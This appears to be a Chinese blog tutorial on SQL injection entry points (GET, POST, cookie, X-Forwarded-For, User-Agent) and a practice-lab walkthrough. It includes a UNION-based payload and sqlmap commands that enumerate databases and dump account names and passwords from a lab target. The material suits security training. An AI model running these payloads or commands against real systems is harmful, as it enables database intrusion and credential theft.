SQL注入-产生位置+post注入+sqlmap

      

数据请求方式-GET&POST&COOKIE等

——url没有参数并不代表没有注入,有时会在数据包中,http数据包中每个部分只要可以被接收,都可能产生漏洞

 

get参数传递位置

post参数传递位置

cookie参数传递位置

request参数传递位置:可以在GET&POST&COOKIE三个位置传递

 

 

 

1.后台要记录访问的ip

IP会写到数据库,如果能自定义ip数据(X_Forwarded_For),就可以尝试sql注入

 

 

2.网站根据用户的访问设备给予显示页面

数据库将各种UA信息整理保存,用户访问后数据库会获取用户的UA信息进行对比,涉及到数据库查询操作。就可以更改UA信息进行SQL注入

 

 

sql注入案例

实例黑盒-用户登录-POST注入

打开——墨者(mozhe.cn)SQL注入漏洞测试(post)

burp抓取登录包

使用--+测试发现页面报错

使用#测试发现页面正常,说明支持#注释

测试出字段数后,输入' and 1=2 union select 1,2,3#测试显错位,结果直接爆出了key

 

使用sqlmap工具

sqlmap数据包形式注入

将name参数值设置为*name=123*),将数据包保存为1.txt,执行命令:python sqlmap.py -r 1.txt --dbs 

依次查询""——""——"字段".

最后查询指定字段数据:

python sqlmap.py -r 1.txt --dump -C "name,password" -T "StormGroup_member" -D "mozhe_Discuz_StormGroup"

成功查询出账号密码

 

 

 

还有一种方式,不用保存数据包,可以直接扫描,就是使用--data参数

--data        #通过post发送数据

抓取登录数据包,右键copy要扫描的url,然后将数据包中的两个post参数复制放到--data后面

命令:python sqlmap.py -u "http://124.70.71.251:42179/login.php" --data "name=1&password=1" --dbs  成功爆出数据库

 

如果在--data后面的其中一个参数加上*号,就只会测试加*号的参数,如果没有加*号就会测试全部参数

当然在这里还是建议使用数据包形式的注入方式,不容易出错。

 

注入总结:

数据库类型决定——攻击的手法和payload样式

不同数据类型注入——payload要考虑闭合、数据格式

各种提交方式——数据请求不同,注入需要按照指定的方式去测试

网站url没有参数不代表没有注入,有些数据会在数据包才有体现

http数据包任何一个地方只要数据被接收,就可能产生漏洞

 

 

 

 

 

 

 

 

 

 

 

 

 

 

      

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

xiaoheizi安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值